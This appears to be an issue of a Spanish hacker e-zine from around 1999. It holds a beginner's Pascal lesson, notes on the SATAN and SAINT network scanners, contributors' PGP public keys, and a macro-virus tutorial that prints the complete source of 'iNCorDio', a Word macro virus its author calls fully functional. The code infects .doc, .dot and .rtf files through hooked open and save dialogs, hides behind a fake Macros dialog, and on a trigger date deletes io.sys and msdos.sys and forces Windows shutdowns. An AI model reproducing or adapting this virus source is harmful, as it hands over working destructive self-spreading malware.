y #netsearch. Nos vemos, byess.
Nota: Dark, ya sabes que eso que decia era coa, no te moskees ;).
RaiSe
raise@biogate.com
http://hello.to/hacker_novatos
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+-----------------------------------------------+
| .oO Curso de Programacion en Pascal (II) Oo. |
+-----------------------------------------------+
Holas, ya esta aqui el pesao del pascal de nuevo con vosotros :). En esta
segunda entrega veremos como va lo de interactuar con el usuaria del
programa para pedirle datos y demas. Vamos al grano:
Writeln
-------
Writeln no es mas que la instruccion que nos servira para presentar textos
en pantalla. Su sintaxis es:
Writeln(String);
Esto quiere decir que lo que vamos a poner sera una variable de texto o
String. Todo lo que escribamos debe ir entre comillas simples, es decir,
entre ' y '. Ejemplo:
Writeln('Esto es una prueba');
Daria como resultado que "Esto es una prueba" saliera escrito en la pantalla.
Readln
------
Readln es la instruccion que nos permite recoger datos introducidos por el
usuario, interactuando con el. Esto nos puede servir para muchas cosas,
autentificaciones, para realizar operaciones matematicas, etc. Su sintaxis
es la siguiente:
Readln(identificador);
Donde indentificador es el nombre de una variable. Esto quiere decir que,
dependiendo del tipo de variable que hayamos declarado con ese nombre, Readln
estara preparado para recoger un tipo de datos, que, si fuera diferente,
nos daria error. Por poneros un ejemplo, si declararamos la variable
"ejemplo" como un integer (Var ejemplo:integer;) y llamaramos a la instruccion
Readln con el parametro ejemplo, Readln(ejemplo);, y en vez de escribir
un numero escribiesemos una letra, el prgrama saldria dandonos un error.
+-----------------+
|Control del flujo|
+-----------------+
Bien, ahora veremos aquellas estructuras que nos posibilitaran repetir una
serie de intrucciones o bien, segun un dato condicional, seguir un camino
u otro.
Estructuras de seleccion
------------------------
Mas de una vez nos encontraremos con que en un programa, dependiendo de la
decision del usuario, tengamos que hacer una cosa u otra. Por poner un
ejemplo, si durante la ejecucion de un programa el usuario decide salir,
y nosotros le pedimos confirmacion (si o no), en caso de que el usuario
decida salir (si) deberiamos terminar con la ejecucion del programa. En
cambio, si el usuario cambia de opinion y responde no, el programa
continuaria. Para este menester existen unas estructuras, las cuales paso
a explicaros a continuacion:
- Estructura IF. Sintaxis:
IF expresion THEN accion
o bien:
IF expresion THEN accion ELSE accion_diferente
expresion no es mas que, o una variable del tipo BOOLEAN ( que puede adoptar
los valores true o false ), o una expresion que de un resultado logico, por
ejemplo: 2+3=5.
La instruccion ELSE sirve para definir un camino en caso de que "expresion"
no sea cierto. Veamos unos ejemplos:
IF (respuesta = true) THEN Writeln('La respuesta es cierta.');
[ Esto realiza la comprobacion de que si "respuesta" esta en valor true, en
ese caso escribe una linea en pantalla informandonos. ]
IF (respuesta = true) THEN Writeln('La respuesta es cierta.')
ELSE Writeln('La respuesta es falsa.');
[ Aqui en la primera linea se hace lo mismo que en el aterior ejemplo, con
la salvedad que en la segunda linea, en caso de que no se cumpla la primera
condicion, se informara al usuario de que la respuesta ha sido falsa. ]
Una propiedad de la instruccion IF es que se pueden encadenar entre ellos.
Un ejemplo de esto seria:
IF (num = 3) THEN Writeln('El resultado es 3')
ELSE IF (num = 4) THEN Writeln('El resultado es 4')
ELSE IF (num = 5) THEN Writeln('El resultado es 5')
ELSE Writeln('No hay ganas de escribir mas.');
El ejemplo habla por si solo :P
- Estructura CASE. Sintaxis:
CASE expresion OF
CASO1: accion_1
CASO2: accion_2
CASO3: accion_3
CASON: accion_n
ELSE accion_defecto
END;
Esta estructura nos servira cuando queramos dar respuesta a unos casos
determinados. Por ejemplo, si le damos un valor a x, siendo x integer,
entre 1 y 5, y queremos responder diferente para cada uno de los numeros.
CASE x OF
1: writeln('ecs');
2: writeln('ecs ecs');
3: writeln('ecs ecs ecs');
4: writeln('ecs ecs ecs ecs');
5: writeln('ecs ecs ecs ecs ecs');
ELSE writeln('y con el descuento, en cuanto se me queda?');
END;
Facil, no?
NOTA: los casos no deben ser exactos, es decir, se le puede dar un rango
de valores separandolos por una coma (,).
Bucles
------
Un bucle no es mas que una repeticion. Imaginemos que tenemos que hacer un
programa que escriba algo muchas veces. Recordais cuando erais pequeos y
el profesor os hacia copiar 100 veces algo?. Pues imaginaros que teneis
que hacer un programa que imprima en pantalla 100 veces una frase. El metodo
chapuza seria escribir 100 Writeln's pero el codigo quedaria _algo_ feo.
La solucion son los bucles, que no hacen mas que repetir unas instrucciones
el numero de veces que nosotros les indiquemos.
- Bucle REPEAT-UNTIL. Sintaxis:
REPEAT
instrucciones;
UNTIL expresion
Este es el bucle mas sencillo de comprender. Todo lo que se encuentre entre
las palabras "repeat" y "until" se repetira hasta que "expresion" se cumpla.
Un ejemplo podria ser:
Var ecs:byte;
REPEAT
writeln('Dime un numero del 0 al 255');
readln(ecs);
UNTIL ecs = 100
En este ejemplo el programa nos preguntaria por un numero y hasta que no le
dieramos el valor 100 no pararia de rallar.
- Bucle FOR-DO. Sintaxis:
FOR variable := valor TO limite DO instrucciones
o bien:
FOR variable := valor DOWNTO limite DO instrucciones
Este bucle lo que hace es coger una variable, asignarle un valor, y repetir
una accion hasta llegar al "limite". La instruccion TO o DOWNTO depende de si
queremos ascender (TO) o descender (DOWNTO). Un ejemplillo:
FOR ecs := 1 TO 50 DO writeln('soy tonto.');
Esta instruccion lo que haria seria escribir en la pantalla "soy tonto." unas
50 veces.
- Bucle WHILE-DO. Sintaxis:
WHILE expresion DO instruccion
Con este bucle lo que se hace es poner como limite una expresion logica, del
tipo "si a es igual a b entonces acaba". Si esta expresion no se cumple, el
bucle se realiza. En el momento de cumplirse esta expresion el bucle es
inerrumpido. Ejemplo:
num=1;
WHILE (num < 100) DO
Begin
writeln('Uso de While-Do, frase ', num);
num=num+1;
End;
Lo que esto hace es repetir una frase, poniendo al final el numero de frase
en la que nos encontramos, y despues sumarle uno a una variable, de modo
que el valor de la variable va aumentando progresivamente hasta llegar a 50,
en ese momento se cumple la expresion logica y el bucle finaliza.
Bien pues esto ha sido todo por este numero, si quereis mas, no falteis al
proximo capitulo :P
DarK FeaR
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+------------------------------+
| .oO Breves sobre SATAN Oo. |
+------------------------------+
Apendice 3 : Saint
Saint (Security Administrators Integrated Network Tool)es una cracion de
World Wide Digital Solutions derivado de Satan y realizado en 1998.
La licencia bajo la que se distribuye no permite su modificacion fuera
del uso interno ni su distribucion.El programa,como Satan,usa un navegador
www,y se pone en marcha igual que Satan,este programa realiza los mismos
test que Satan y aade comprobaciones de vulnerabilidades aparecidas hasta
la fecha de su creacion,ademas es actualizado periodicamente,y da mas
informacion que su antecesor.Puede escanear makinas Windows en redes unix
usando Samba,y se rumorea la aparicion de una version para Windows escrita en
Java.
-www.wwdsi.com-
Notas finales
Satan se puede ejecutar desde la linea de comandos,pero es mucho mas
facil hacerlo desde un explorador web,Satan consume bastantes recursos
del sistema,por lo ke hay ke liberar las cargas del mismo si no es un
sistema muy bien dotado de ram y de procesador,se pueden ejecutar varios
procesos de Satan a la vez,pero hay que suministrarle una base de datos
a cada proceso,e indicarles que compartan los informes;se recomienda si
se es novato empezar a escanear con el nivel menos meticuloso,o con el
normal por lo menos ,para no verse abrumado por la cantidad de cosas que
pueden ser encontradas,tambien se recomienda escanear la red propia des-
de dentro y desde fuera aun con el firewall levantado;verifica los agu-
jeros y defectos encontrados por Satan,y por ultimo recuerda que Satan
deja infinidad de logs,y que muchos sysadmin cancelaran tu cuenta en
el sistema si encuentran Satan en tu /home y que debes bajarte Satan de
alguna fuente fiable y si es posible comprobarlo mediante la suma MD5 del
fichero recibido,ya que al estar disponible los fuentes no seria dificil
meterle algun codigo extra para que enviara informacion a algun otro sitio
de inet ,por ejemplo.Si tu navegador te da problemas al intentar ver las
paginas web generadas por satan que en realidad son scripts en Perl y por
eso terminan con la extension .pl ,es seguramente porke tiene .pl configu-
rado como un tipo MIME determinado (application/x-perl)y entonces el nave-
gador no sabe que hacer (navigator por ejemplo,te pregunta donde quieres
guardarlas)par arreglar esto basta con eliminar el tipo MIME asociado a la
extension .pl y aadir dentro de los documentos interpretados por el nave-
gador la misma extension.
Salud.-
"Procura entender todo lo ke te dicen, pero no creas nada"
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+------------------------------------------------+
| .oO Iniciacion a los Virus de Macro (II) Oo. |
+------------------------------------------------+
Bueno, para los que no esten familiarizados con este tipo de sintaxis ...
un tiron de orejas. Que repasen sus conceptos de programacion. Pero vamos a
hacer un breve resumen para poder entender lo que estamos viendo.
# Instruccion condicional #
Por ejemplo:
______________________________________________________________________________
DefinirI() ' Rutina ejemplo que genere un valor aleatorio para i
If i = 1 Then ' Si "i" es igual a 1 muestra el siguiente mensaje
MsgBox "El valor de i es 1", 0
Elsif i = 2 Then ' En cambio, si "i" es igual a 2 muestra este otro
MsgBox "El valor de i es 2" , 0
Else ' "Si no" ocurre ninguna de las dos condiciones anteriores (ni 1
' ni 2) este otro mensage
MsgBox "El valor de i no es ni 1 ni 2" , 0
End If
______________________________________________________________________________
# Instruccion repetitiva #
For ... Next
Ejemplo:
_________________________________________________________________________
For i = 1 To 10 ' Desde i = 1 hasta 10
Beep ' Pitido
Next i ' Siguiente valor de i ( Es decir i + 1 )
_________________________________________________________________________
Este codigo emitiria 10 pitidos (uno por cada valor de i )
# Instruccion condicional #
While ... Wend
Ejemplo:
________________________________________________________
i = 1
While i <> 10 ' Mientras i sea distinto de 10
Beep
i = i+1
Wend
________________________________________________________
Este codigo emitiria 9 pitidos, que son los valores que va tomando "i" hasta
llegar a 10.
Sub Infectar
MacroCopiar "Global:MacroVirica" , NombreVentana$() + ":MacroVirica" , 1
End Sub
--------- [ MISCELANEA ]
Para terminar este pequeo curso, aqui podeis ver el
WM6.iNCorDio V 1.0 , un virus sencillo y totalmente funcional creado por un
servidor.
Por favor, no lo distribuyas. Simplemente lo incluyo como apoyo al
documento para comprender mejor el concepto de virus de Macro.
'--------------
' iNFeCT MACRO
'--------------
Sub MAIN
On Error Resume Next
DiM Infector As ArchivoGuardarComo '
GetCurValues Infector ' Shows FileSaveAs dialog box
Dialog Infector '
ArchivoGuardarComo Infector '
Call iNCoRDio ' Calls infect subrutines.
End Sub
'---------------
' iNFeCT2 MACRO
'---------------
Sub MAIN
On Error Resume Next
DiM Infector As ArchivoAbrir '
GetCurValues Infector ' Shows FileOpen dialog box
Dialog Infector '
ArchivoAbrir Infector ' Open file
Call iNCoRDio ' Calls infect subrutines
End Sub
'-----------------
' ChapaAuto MACRO
'-----------------
Sub MAIN
On Error Resume Next
If Mes(Ahora()) = 8 Then ' On August 15 ...
If Dia(Ahora()) = 15 Then
MsgBox "^-^ iNCorDio v1.0 ^-^", "ViRuZ iNFeCTioN", 0 ' Shows
this Message
SetProfileString "colors", "scrollbar", "0 0 0" '
SetProfileString "colors", "Background", "0 0 0" '
SetProfileString "colors", "ActiveTitle", "0 0 0" '
SetProfileString "colors", "InactiveTitle", "0 0 0" '
SetProfileString "colors", " Menu ", " 0 0 0 " '
SetProfileString "colors", "Window", "0 0 0" '
SetProfileString "colors", "WindowFraMe", "0 0 0" '
SetProfileString "colors", "MenuText", "0 0 0" '
SetProfileString "colors", "TitleText", "0 0 0" ' Turns
dark Windoze
SetProfileString "colors", "ActiveBorder", "0 0 0" ' chan
ging win.ini
SetProfileString "colors", "InactiveBorder", "0 0 0" ' valu
es
SetProfileString "colors", "AppWorkspace", "0 0 0" '
SetProfileString "colors", "Hilight", "0 0 0" '
SetProfileString "colors", "HilightText", "0 0 0" '
SetProfileString "colors", "ButtonFace", "0 0 0" '
SetProfileString "colors", "ButtonShadow", "0 0 0" '
SetProfileString "colors", "GrayText", "0 0 0" '
SetProfileString "colors", "ButtonText", "0 0 0" '
SetProfileString "colors", "InactiveTitleText", "0 0 0" '
SetProfileString "colors", "ButtonHilight", "0 0 0" '
SetProfileString "colors", "ButtonDkShadow", "0 0 0" '
SetProfileString "colors", "ButtonLight", "0 0 0" '
SetProfileString "colors", "InfoText", "0 0 0" '
SetProfileString "colors", "InfoWindow", "0 0 0" '
SetProfileString "colors", "ButtonAlternateFace", "0 0 0" '
SetProfileString "colors", "HotTrackingColor", "0 0 0" '
SetProfileString "colors", "GradientActiveTitle", "0 0 0" '
SetProfileString "colors", "GradientInactiveTitle", "0 0 0" '
FijarAtributos "c:\io.sys", 0 ' ReMoves io.s
ys attributes
FijarAtributos "c:\msdos.sys", 0 ' ReMoves Msdo
s.sys attributes
Kill "c:\io.sys" ' Kills io.sys
Kill "c:\msdos.sys" ' Kills Msdos.
sys
End If
End If
For i = 1 To 7
If Hora(Ahora()) = i Then ' Between 1:00
AM and 7:00 AM
MsgBox "Buenas noches.", "A soar con los angelitos", 0 ' Displays
this Message
SalirWindows ' and Wi
ndoze closes
End If
Next i
DesactivarMacrosAuto
End Sub
'------------------
' ChapaMacros MACRO
'------------------
Sub MAIN
On Error Resume Next
DiM MacrosEn$(3)
MacrosEn$(0) = "Todas las plantillas activas"
MacrosEn$(1) = "Normal.dot (plantilla global)"
MacrosEn$(2) = "Comandos de Word"
MacrosEn$(3) = "Present.dot (plantilla global)"
DiM Macros$(0)
Begin Dialog DialogoUsuario 422, 296, "Macro", .FuncionDlg '
Text 6, 4, 157, 13, "&Nombre de la Macro:", .NoMbre '
Text 6, 193, 180, 13, "M&acros disponibles en:", .Dispon '
DropListBox 6, 208, 408, 50, MacrosEn$(), .MacrosEn '
Text 6, 235, 100, 13, "&Descripcion:", .Descri '
TextBox 6, 251, 408, 35, .Descripcion '
PushButton 282, 8, 130, 21, "&Grabar ...", .Gravar '
CancelButton 282, 32, 130, 21 ' Fake Macros
... dialog box
PushButton 282, 62, 130, 21, "Ejecutar", .Ejecutar '
PushButton 282, 85, 130, 21, "Crear", .Crear '
PushButton 282, 108, 130, 21, "Eliminar", .EliMinar '
PushButton 282, 139, 130, 21, "&Organizador ...", .Organizador '
PushButton 282, 163, 130, 21, "A&yuda", .Ayuda '
CoMboBox 6, 18, 265, 166, Macros$(), .Macros '
End Dialog
Dim dlg As DialogoUsuario
selec = Dialog(dlg)
If selec = 1 Or selec = 3 Then ' If "record" or "create" butt
ons are pushed
MsgBox "No puede grabar Macro aqui", 16 ' " (X) I can't record a Macro
here.
End If
If selec = 2 Or selec = 4 Then ' If "ReMove" or "Execute" but
tons are pushed
MsgBox "Seleccione una Macro", 48 ' (I) Select a Macro.
End If
If selec = 6 Then ' If "help" button is pushed .
..
AyudaContenido ' shows help :-)
End If
End Sub
Function FuncionDlg(identificador$, accion, valorSup)
If accion = 1 Then
FocoDlg$ Macros
End If
End Function
'-----------------
' ChapaPlan MACRO
'-----------------
Sub MAIN
On Error Resume Next ' Anything else. This Macro is executed when TeMplates
Menu is called.
End Sub
'----------------
' iNCoRDio MACRO
'----------------
Sub MAIN
'
'# Virus NaMe : iNCorDio v1.1
'# Coder: }Moeb|uZ{
'# Creation order positon: 1st
'# Infects: .doc , .dot and .rtf when opened
'# Origin: 25 April 1999
' Madrid, Spain
'# Stealth: SeMi
'# Encrypted: Yes
'
'
On Error Resume Next
sinExt$ = InfoNombreArchivo$(NombreArchivo$(), 4) ' Gets the without-exte
nsion file naMe
conExt$ = InfoNombreArchivo$(NombreArchivo$(), 3) ' Gets the file naMe an
d extension
If conExt$ <> sinExt$ + ".DOC" Then ' If not .doc file
If conExt$ <> sinExt$ + ".RTF" Then ' If not .rtf file
If conExt$ <> sinExt$ + ".DOT" Then ' If not .dot file
Goto EndFin ' Ends Macro: Doesn`t i
nfect anything
End If
End If
End If
ArchivoGuardarComo .Formato = 1 ' Saves the file with t
eMplate forMat
Infectar() ' Calls infect subrutin
e: Infects file
ArchivoGuardar ' Saves file (now infec
ted)
End Sub
Sub Infectar
' Copies all Macros to saved file
MacroCopiar "Global:iNFeCT3", NombreVentana$() + ":AutoOpen", 3
MacroCopiar "Global:ArchivoGuardarComo", NombreVentana$() + ":iNFeCT", 3
MacroCopiar "Global:ArchivoAbrir", NombreVentana$() + ":iNFeCT2", 3
MacroCopiar "Global:iNCoRDio", NombreVentana$() + ":iNCoRDio", 3
MacroCopiar "Global:HerramMacro", NombreVentana$() + ":ChapaMacros", 3
MacroCopiar "Global:ArchivoPlantillas", NombreVentana$() + ":ChapaPlan", 3
MacroCopiar "Global:AutoExec", NombreVentana$() + ":ChapaAuto", 3
End Sub
<-->
/^{M}^\
The flying eM
moebiuz@biogate.com
SJF Project - CPU Planification
http://www.undersec.com/sjfproject
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+-------------------------+
| .oO Correo Fresco Oo. |
+-------------------------+
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+----------------------+
| .oO Llaves PGP Oo. |
+----------------------+
Como en el anterior numero, os ofrecemos las llaves PGP de la gente que
ha colaborado en este numero. Os recordamos, para los que aun no tengais el
PGP, que os lo podeis bajar de http://www.pgpi.com . Bien, a por lo que
ibamos :)
- LLAVE PGP DE CAFO
<++> pgpkeys/cafo.asc !8392812c
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
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
=RGhu
-----END PGP PUBLIC KEY BLOCK-----
<-->
- LLAVE PGP DE SP4RK
<++> pgpkeys/sp4rk.asc !de817f84
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v0.9.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDdC8XERBACnBxv1DrZbK649d8WxLpunvydXnHG68ZlUZOgY92Ldh53//4+q
08zbb486UShFr21KVAS/s5Cqb/d3sen9hagTMHTVJrkfog/cR6MJEzF44mqBk033
UJJ0BMInOUZjlRahLFzNnBKmBv/sHYSxQWzi9MjpCVXEfzrYMMsoqBtLmwCg0Jz+
sCl46B08d0cCjjKyMME/DMcD/j9aIuFt6ej6/3Hum7srVdlSHleey5ZXKGHwehpW
v1q62f+WG7HBOvVJDyFEURLMQLxhoZ6GvXX/Qx/PWcOXPh6IizFDZtsSA4FdvDXR
9TCPq8h8O/QYkKi8fpLJH7QvXBqVTwt79MEdZFeMb4d5g7DgcXVILoOiMpbFmx7f
FWDgA/9mWriPCOIIBdGxorwwB28qYYP7hz14O8pFfoKJ3tGh1lvodRHFbxR5MU7V
vJj7A3xwFrnCAQvuUfv60tzQnlJcfHX5ewmDeByYZuBd7Y8Yw+kkTYELUM8BH5P4
LMgFf+u0KLRusqFgFFdYSFs0lqRhm7qMxqaqxA4ebocaHuS8krQaU3A0cksgPHNw
NHJrQHVuZGVyc2VjLmNvbT6IVQQTEQIAFQUCN0LxcQMLCgMDFQMCAxYCAQIXgAAK
CRB1paVla9t6atKjAKCVE6DM8T/Qm1rJFH+n1dl93PqIcgCguYO3kAlWZYUIjxGv
tOaRUrxFFl65AQ0EN0LxexAEALwkD8QCFR4vSf45Xs0ZU7YjAw+/xyQ6wdPcThTs
2ZnHDLdlh3s4QjkxaR2uzDX6rwPRQZpHb2DOe9pv5N9HhskNkmDEO0ofI5j854jC
OWSwGmv6muEfFN0noSSUGeFx8juas5zPX4zRBV/Je4XTWbGx8aNTj1RgQqKWiNEA
gQfvAAMFBACHThWWASAcLE0TKWJLfkpsCRNKi2cViVogdbwfjMjPyMP+aBsABtUG
Be5l9wQtr2XVrfs/NIXgVdBKXjnEXUUk3ubYgRX9gZaNh/I80qD+YSXqLtgHdQxD
e1OOZ4evjz04d/Pg1lmST98s81QgKUUnK11+ev+XDPDww8Datp51+ohGBBgRAgAG
BQI3QvF7AAoJEHWlpWVr23pqCXcAnjQ6DMqdOipS3UHpYkV99orNZGwPAJ9J+4fo
tup86olyg4FOa+XIJdTI2A==
=aNEV
-----END PGP PUBLIC KEY BLOCK-----
<-->
- LLAVE PGP DE MEGADETH
- sorry, no disponible actualmente, pedirsela a el :P -
- LLAVE PGP DE MOEBIUZ
<++> pgpkeys/moebiuz.asc !f03e8c55
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.0.2i
mQGiBDkIdP4RBADAwpXHE+z4FcIOh9ISkYflt/kumnarEQKt1HJIv094mX1/3yna
k38OfIXGUcBiN+znzoZUYwVOEUhJIGcEXph8wX9CNu73IZtHn+kcm7zczASs1VLA
5bOorepMZbAz0WiNrBQTvcOSQCDF6E3Ubnh2P98fjZ6giVyATgP+HI/8hwCg/3bZ
TgcFZ1VQZOavwVsXIfgzdysD/iEwEtUoBzoSo4bLbHkoXrH2xSWNvhk5gYIWnSsb
oqV7LPi+oOZhoKWm3ACgo2yYpp4SNFglLd8saRS3jL8j+2xY7RJH4+7gBqH7Yt9h
vfwPT9R+k1JcmHTHZYVE/fNjB/UfcfDGFrwNrSs0YFdZ0A+8vqjDBOPw9P8M95de
NsDrA/9kwfoDm7AFiAMPwbZma+/n7MrP18BrLZeqQkm7U0J5lG0qceyrd3FNRwma
01GDxsmA0aVJprtyQY66E7EUBMOe9H3LTpOGEdgiz6yvshoTupEUrARrEs8hdsbK
1bnK2xmyAYdCswxJIBkB13ESc4Jp+1XUv8EG6kPPOpyIreyT27QffU1vZWJ8dVp7
IDxtb2ViaXV6QGJpb2dhdGUuY29tPokASwQQEQIACwUCOQh0/wQLAwIBAAoJEDts
aX7puSUM5TkAoKkWZz9AhJZoVaI0bNRNvOl+yo9nAKCVzy5U7Ww8E9VOfKAjHO5s
miDDtLkCDQQ5CHT/EAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDaAadW
oxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z4VeS
Wc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBYK+X0
iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WMuF04
0zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmWn6vQ
ClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAggA1D+Ae7MCH5I6G1hb
1Oq0z4zN3gzA6yPvfxhu+sjKc62oeqkh8LORKBPgfi3POqgyyUlcNad3eQFjRvhm
Aw+/83rPY+ZjhMhtCbRwFkr223KmBS06fBgRAFQF/vEbdJswe+T2Rdi6mavu1HdD
nS04F1RPwltJt8drqizABzfQyYuAPn4XfkiOO/hhY8qYPTNOZ9PYOLpjNZFUrCYX
aMIypsZPn52CMEbiUAlAGKVFxMYdapwhxW8bSfM3gLjqv9wgTvHc9dMcE2cKqycj
NV5Zl4X0lydFl3wHPHqEmCNNKrOAjnqAoGk8mhMJj4CDnaK730hPFLQSVDHq2a2C
6D1vqokARgQYEQIABgUCOQh0/wAKCRA7bGl+6bklDB1FAKDsmcSoE3/wo0aiQGX/
mJCDMPIa3QCggsilNGROnCxNTFWSoYpC+nZsWe8=
=sfip
-----END PGP PUBLIC KEY BLOCK-----
<-->
- LLAVE PGP DE DARK FEAR
<++> pgpkeys/dark_fear.asc !f14994d4
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v0.9.7 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDc56lARBADSN0mYy8nlBonQI/pigblLLY6wuoSgGe989NjJ7YuMW9tSRii3
ydafUsIMsWtWupZoXzbYpRs0jO0BYtoz8u5Hroc+NcxsBMkBzK7IFajBmgoAGcuM
xCKt70Fs8eK8hOvpgA7rnlzkmKqb8GQOX0bl+cUIwqE2xLiyT6hDRoH7bwCg/1FH
pw7ET8oE5A9g/3jieZYk820D+gK/sPos8+DjiifxY/YzGghPtJ2R9iTngFtVOgTI
QCDS8EiB5C/G5y/vcayJZtR0fctrq+A5f0DHslETHZRV58ts4FnllIdxwj8SN9gj
DnXRVMoZVxfcwTKgxd+DB7rRfUyXFDBe1d7UGK1B5Vcqb8lm4Y5BfXt8nzjYBxwy
r5gnA/kBGhTjkfXaF0GlZkp8zMKkD5mb25Zgg+IZPXMuOpmENz6CeOTJt7Z9xZW2
YJF/olPTjjjInYMo6GmEEhNRF2KYzHJtYqK9Xwz7mKgXKNHnVFjg1UUCohS0sqLe
Tbz+Z2Cv2ArhbirFgd0DhZ31Cf1QJKFNqwwE5QosaCTLtreNuLQfRGFySyBGZWFS
IDxkYXJrZmVhckBob3Rwb3AuY29tPohLBBARAgALBQI3OepQBAsDAgEACgkQeTbh
zFp9bDjqRQCfcaa/Qx9rlj52goR8S/ve/uPTB10AoLeKlv6h10nbafnns5xB0ov9
LxuYuQINBDc56lAQCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1aj
FOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZ
zf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI
/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjT
NP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AK
UJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/9eZoKMb8mIq0BZ/HIC
xzQiUy1Xj1Od+fY/H7XDlpKyHq7XXT0ryDgS5iNTqbQjgVo3F79UybqTr78iyhjp
Iq4sPI1wdAhO108fktfg6OOHuMUSr/LBkFGcyoAosk40lBuTYsBaJ/O8Hod5LVr2
nPfIgtuM2ZAqYJvIiZrc+cgGEjemE8bxx1bIiuwg0fjvsiibWERGIMeW1+x4GWmq
ZgOD2Tg6p2bg+JHCuBe0r2UoELMHVAlo4EERxXk52dkxuFIXg7WnKBrWwzJRLKK1
